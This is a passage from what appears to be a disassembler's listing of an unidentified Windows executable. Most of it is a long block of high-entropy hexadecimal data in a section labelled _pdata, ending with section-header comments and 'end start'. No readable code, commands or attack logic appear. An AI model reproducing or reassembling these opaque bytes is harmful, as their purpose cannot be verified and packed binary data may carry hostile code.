0CE928A98h dd 0F25CBD81h, 0D2F7BB51h, 52299F8Bh, 0D7154D5Fh, 0BD3B3A3Dh dd 0DF30267Dh, 3DCBF925h, 96EB36AEh, 3C10A5B8h, 0DE2D1055h dd 30EA5883h, 0C31288AFh, 14C54E62h, 0A08B050Eh, 78AB7D84h dd 33406810h, 10061D35h, 0B579F59Bh, 0D77F1774h, 3604AF8Ch dd 8D332EE9h, 233C492Ah, 921E2814h, 25A071C9h, 677E508Eh dd 23C1647h, 711D22C9h, 0EF74EA00h, 0A75AA703h, 9D1B3444h dd 995526FBh, 1C2E1881h, 19159F89h, 0A66567D5h, 0C8E03061h dd 7821CAEEh, 38452944h, 0D9B4B6C9h, 38E0B804h, 0D9A4F06Dh dd 1CCAFB59h, 6C76B52Ah, 2BCE3528h, 38BC6DBEh, 73C0CA36h dd 84295946h, 0C8E8301Bh, 1C6A1C4h, 6FBDD691h, 181D3267h dd 740EE6B4h, 2251304Fh, 49FE5FBAh, 0ABC56293h, 70E6C3B2h dd 0ECD8FFA4h, 768F396Ch, 0A282A3F8h, 4D60D566h, 5B42A763h dd 5E0FBB40h, 25866714h, 5E2B867Fh, 3A2C28C5h, 0CF30DAF2h dd 6B91D309h, 733AD227h, 9F327C87h, 0D4F29BC9h, 38F42943h dd 18093201h, 58452C39h, 2A17615Ah, 19C8D1E9h, 3D32A4CDh dd 68AC325Bh, 0A7BC98BDh, 353A2CBCh, 8E043C1Bh, 0B507FD5Ah dd 69F000A0h, 1C8C8CD7h, 0D181DF45h, 0D9A372F3h, 0D4DC4411h dd 2C437766h, 34C05EEBh, 0ED1499A9h, 7E088370h, 0A5D82B9Dh dd 0B4C451B7h, 0B53450D0h, 9053413h, 2F8C2913h, 0E681DE45h dd 10054755h, 6B4A6AB1h, 0E89FB022h, 15C29441h, 45CF4409h dd 59BCE386h, 168D87ACh, 14A98CD8h, 468FD55Ah, 1AA3DF82h dd 1A65D3ABh, 21B12891h, 0C42B6A26h, 0ACC7BEA0h, 0AE325B3Ch dd 2BAF7CF8h, 811D587Ch, 0EE6AFEDAh, 633728BEh, 476BFEC6h dd 0DEE14879h, 41EEC625h, 0AF8D9CB3h, 0E180E9CBh, 97E6C318h dd 0CAF40735h, 5A710FEFh, 70482A4Ah, 53CB3410h, 0DA88A8FDh dd 0BA6749BFh, 60211D81h, 59A3F7D5h, 6A468920h, 447C705Ch dd 0C5F251B6h, 376B14AFh, 0B17EA868h, 297B26Ch, 0B1DB5C88h dd 9DCB44BAh, 755048BEh, 5B2D0AF6h, 0F2893305h, 0CBCE9C76h dd 0ACC2811Ch, 0EC89A8B9h, 713E6408h, 0CD8DEEDh, 0D59DA634h dd 0FD672E0Fh, 526E1E42h, 6F58E6AFh, 23D5E39Bh, 362F1660h dd 6F1DE914h, 0EEC4A8B6h, 8510513Bh, 9B7BAAADh, 0C98F3C70h dd 0EC870AEAh, 858072CBh, 6493213Ah, 0A0D674BCh, 69E814B3h dd 199E1958h, 593A6013h, 0DFAFDAF4h, 97A9C551h, 0ECA833AAh dd 45C9F6E3h, 5E76DBC2h, 0F3515133h, 0EBA0AE5h, 5EEC0655h dd 0ECD9A0F6h, 37662DE2h, 1E0349D6h, 0EC2F7C7Fh, 0EB74D3AFh dd 0EF9FDC20h, 0F9F52881h, 5B0721Bh, 3D1A6AD2h, 0A0058849h dd 0B2308F99h, 234F9D74h, 9B498666h, 79AF03ABh, 85C6CABBh dd 395C1CD4h, 8A832FC9h, 0A8C2C607h, 0CCAA6343h, 503209C2h dd 0BE72506h, 0BDD278D7h, 633ADE4Eh, 0BBFADCF6h, 0E698A0C1h dd 0ED1B7B37h, 29A02FB4h, 0AA46704Fh, 8C85DCF6h, 5A5E4E2Fh dd 6DBBA757h, 0F391DB91h, 74F93627h, 0A9E5354Dh, 539B79C7h dd 0AF811A16h, 423D7FF0h, 89D3B917h, 65769560h, 4F825997h dd 80F879C9h, 0E112AA09h, 875522E7h, 910ACE4h, 714C6F6Dh dd 0C9708EA4h, 44796C30h, 656DEF39h, 0D4F46E3Ah, 6B8BCFAh dd 0BF8FD98Ch, 0C3CAA378h, 9C18C97Bh, 99DB4D98h, 8D338245h dd 63C9BC87h, 6A07F0F2h, 3C07DAC2h, 0DD3099D8h, 0FCDE8804h dd 2287C3Bh, 43A82878h, 0CCF9D208h, 0FD33D6Ah, 0E1BDAFA6h dd 0BE581161h, 2FDE5B15h, 77B54A98h, 38321D54h, 8A0975F3h dd 14865E08h, 0FC518730h, 0BCC3E59h, 7C895861h, 6C2E39DCh dd 4F1FE70Ah, 371BC243h, 5DE0B94Bh, 27D4E17Dh, 9FB4AFC8h dd 80635D11h, 9BD80D4Ch, 5C017797h, 0C6725EAAh, 59A1D37Fh dd 0D48DCF53h, 156751C9h, 360D765Bh, 0F4413722h, 0E512535Ch dd 0B805738Bh, 0E42091C7h, 0C97514BDh, 5F39A5EBh, 0D3C58F57h dd 0FD16511Dh, 0C903C69Eh, 0A4C9860Ah, 0D8A17F72h, 72A7FAE3h dd 857EDF2Eh, 0B555E2D4h, 0F73A3BF2h, 7018BB5Eh, 0C6BB3483h dd 7907D51Fh, 2C1E0AA4h, 52BF4F6h, 3A3DFD87h, 8C5EB2B4h dd 9353F170h, 0BE0E4476h, 0DB2C3B30h, 5889D2E3h, 38B4724Ch dd 0D62372FDh, 80AA5F26h dd 0B1CF4715h, 70D88A90h, 0F26E39D2h, 9D6DAF72h, 396F4C98h dd 497DD12Ah, 42ECCAE0h, 0A4C2EC6Bh, 52EBFCD7h, 0AFC4E1CFh dd 0B19BFCA9h, 487E50Ah, 0D2708620h, 3CFB328Eh, 851E315Ah dd 0C7E1FE19h, 41908D1Ch, 0FB6B980Ah, 7CB3B569h, 0F17767E0h dd 0B4D62D7Bh, 422EB0A3h, 6859D34Dh, 874AEA19h, 0D02C0821h dd 0C580A345h, 9033F72Bh, 7C32546Ah, 3B09DF6Fh, 38805FBFh dd 0CE2C7571h, 9A5CBA00h, 2F4B32B9h, 0F2108321h, 0A0A84D3Dh dd 0D3A254Eh, 37B1B541h, 63D73AA8h, 0DE52E2D3h, 0B85E6A44h dd 8353A75Ch, 0B89E9A3Bh, 0A1991C12h, 0F8BFF2ACh, 0DA1268E5h dd 9D52E226h, 0D07675h, 114804F3h, 0D71DE2CCh, 0D486E92h dd 0AC028D8Fh, 0F705DB69h, 0F9F398C8h, 0E982234Fh, 2E51015Eh dd 6C039B31h, 2C3AB681h, 0F2EC98C8h, 0EE4CD2Bh, 2ADFB5DFh dd 0E162DA9Fh, 0D82A02C2h, 24427EB4h, 0A4F9B855h, 0F7B7ADF4h dd 0C9405CA6h, 34567063h, 17AB99ACh, 7FAB374Ah, 1BA31FE3h dd 0C76CF406h, 307DD844h, 40217156h, 0F508AB9Fh, 0D2A6BC58h dd 1AF86C89h, 844E0820h, 864146FDh, 8FD039CBh, 356AA714h dd 0E69D2AACh, 5F3221CDh, 0C76812D2h, 949E2EE3h, 66378721h dd 298E46B3h, 53351D09h, 0BB523BDFh, 3303F423h, 0D89A6013h dd 40DF4BEFh, 0D7CD1BEDh, 67382D1Eh, 672829BEh, 0ED807C1Bh dd 810293EEh, 3481C09Ch, 0F99DBA04h, 25D368ADh, 89BF1AFDh dd 0ED8E26C3h, 9A283F82h, 0DFD36076h, 6C0B4A70h, 3DDE4D53h dd 0C38F4B4Bh, 0D033F8BDh, 0B5E72484h, 0C23835ABh, 0DC904700h dd 0EEC4D89Fh, 0A9099C8h, 12D53E3Fh, 90A5762Dh, 1914A24Dh dd 7EA26h, 7201B365h, 8E1B88EBh, 9EF8017Ch, 0FC2CA913h dd 288B5153h, 66BE8E9Dh, 0A18C8A03h, 675BFBD0h, 1EEF092Ch dd 5267027Eh, 0D2208117h, 30D1DB68h, 1B76B95Dh, 0DBDBFA3Ah dd 5FA74B00h, 0A63294EDh, 3C2B373h, 91B99CF4h, 0AE05DD57h dd 0C5808882h, 0AE74F5B9h, 753A2DE7h, 0A21AADB7h, 0A7334CD4h dd 1CD12825h, 142ED90Eh, 7125D9B5h, 0A58BC8A5h, 49A98EE2h dd 1B980771h, 0C5A88093h, 0FC82EAB4h, 95C8C99Ah, 8B531B61h dd 35FBA207h, 36EE9721h, 7ED1FEF3h, 556D0EFAh, 0A18FE391h dd 0DB56B3B8h, 80A46537h, 961E31EFh, 398A71D4h, 6E51205Fh dd 32299659h, 697E0D6Ch, 593B1D0Ah, 2185F7FFh, 656EE28Ch dd 761734A1h, 0D40D0538h, 3E55F4ADh, 4A7C5070h, 18027B5Dh dd 1F4F17FEh, 6BEF4FF4h, 0CB6BF3D4h, 9C39250Bh, 0CE7E352Bh dd 6FDD07Ch, 6FFAAD2Fh, 0F91C513Ch, 470F4B60h, 241AFA7Eh dd 8AE06792h, 0AEC130E4h, 2860EDEDh, 0F335EAFCh, 82EA9ACEh dd 0DF4A49DEh, 0EED95DA1h, 0E3A3C443h, 17D4F345h, 91FB7A39h dd 0D17AB86Ch, 3D7BF2Ah, 0B64A8012h, 0DF0CCDACh, 61C1AEF9h dd 534A36F0h, 26F7B40Fh, 8660AD74h, 0A090EC09h, 0E5C5BEE0h dd 26E2E162h, 24DAE8E8h, 9CD5CE9Ch, 0CBAF4B00h, 0A30D0F07h dd 0D3D77442h, 0AE7332Ah, 15FD9E86h, 646E158Dh, 0AF1BC212h dd 0B5E2B3D9h, 4E69FE08h, 401FA47h, 6CDBFE25h, 29F562F5h dd 0DA36F16Fh, 0E477A334h, 87CB2D9h, 8AED7750h, 4C8BF11Dh dd 9B8C505Fh, 0B72D343Bh, 8D195878h, 0FDC632CDh, 0DCD218E1h dd 385D626Dh, 0FFD9A270h, 8AE4323h, 57131C25h, 442C51FDh dd 0D2E59766h, 0EF874299h, 97E58756h, 0A9EA173h, 21ABFFADh dd 1F9841F3h, 717367CBh, 26FDE71Dh, 1CD03826h, 9142D77h dd 0B71440A6h, 49E73260h, 9818373Bh, 681E8AB8h, 6E80DAF8h dd 2E388DA9h, 0CCAF17AAh, 0C14E9357h, 0FFE2199Fh, 2F1B1358h dd 6AF7ECB9h, 74EC7D96h, 3D8F1B6Fh, 0F5302581h, 0A0F77E8h dd 0E1CAF4D9h, 43E82E1h, 43D879F4h, 4EA6DA58h, 1F551603h dd 58472903h, 0F85743C7h, 8CC98BB7h, 0A9CDA666h, 0E6C2E629h dd 0ABD7D78Ah, 0EA1A3259h, 0BD80AB1Ah, 64A9335h, 71BAD3BFh dd 183DA7C3h, 675017h, 8A8B5F70h, 7AD04801h, 403D6BECh dd 0EE851A12h, 0DECA1BD1h, 77103445h, 2892FBFCh, 0FB50E3F1h dd 0E9223B37h, 0EE50C4F5h, 3BD67F0h, 960335D1h, 2AFFFCCh dd 19F2CA8Eh, 21E010D8h, 494CA436h, 38FB621h, 647930EDh dd 818120E6h, 9E9BF9BDh, 0AA469B72h, 699E071Fh, 2C9D0610h dd 777A435h, 89548A49h, 4BB25B56h, 9AC9D15Eh, 0AFE4AB73h dd 15147D45h, 314180D1h, 4974F8F0h, 5E42C458h, 44B1A08Fh dd 4B60EDDCh, 992FBE6Bh, 9E931612h, 5098C132h, 0DDE4044h dd 6D87B471h, 21611710h, 744E220Ah, 44CF3392h, 41FF296Bh dd 1D394E34h, 3E7844C4h, 0D279B78Ah, 383E4319h, 0AB163067h dd 0FD0EAA0Dh, 0F058B19Ah, 1A24B4C3h, 474A25h, 0A896F526h dd 0FCD153FFh, 0D7FDE07Dh, 787C04D7h, 0DB9ABB2Fh, 21A13CF2h dd 1C64DB59h, 0C55DC4A0h, 0D88A5834h, 79722448h, 4AD203A4h dd 0D28CD542h, 0BECB0B04h, 5B92A62Dh, 5B9A662Dh, 5B92A42Dh dd 5B92A66Ch, 0B480B060h, 3DAE2A70h, 0DD2E117Ah, 64C62E23h dd 0BC9C742Dh, 301F98D7h, 0D5249D3Fh, 0FB26E8FEh, 0A9F2DE36h dd 20A3E87Ah, 7961C85h, 0A2A5B5CFh, 23575769h, 2D63423Eh dd 8E3FF93Ah, 0E08C86Ch, 92A62D16h, 92A62D5Bh, 995Bh, 9A00h dd 14C85B00h, 0F4330705h, 61742160h, 677B21Dh, 9A4BE21Eh dd 9ED880FCh, 86BEE962h, 6A8F0D79h, 0AF159E0Fh, 465862CFh dd 0CAAB4A68h, 0E00EB97Eh, 5373D738h, 8E0FC743h, 5D93E4FEh dd 92BB1F1Eh, 0E1504FC4h, 0DABFF1BBh, 6ED0C4D3h, 0A8992884h dd 0E0B2F2B1h, 7D97E216h, 15D68C82h, 5424FF32h, 1FDA2A04h dd 451F8FF0h, 0E5C05781h, 0F9AC54B1h, 600257A3h, 756AC036h dd 0D32BDEEAh, 2E1411D1h, 8CEC6C08h, 1A445463h, 0F1435D24h dd 5273C0E2h, 6C1B55AFh, 62724335h, 5C3264h, 3 dup(0) dd 8A000000h, 6F6991h, 8A000000h, 6F6991h, 1995h dup(0) _pdata ends ; Section 8. (virtual address 0014D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0014D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 54D000h align 2000h _idata2 ends end start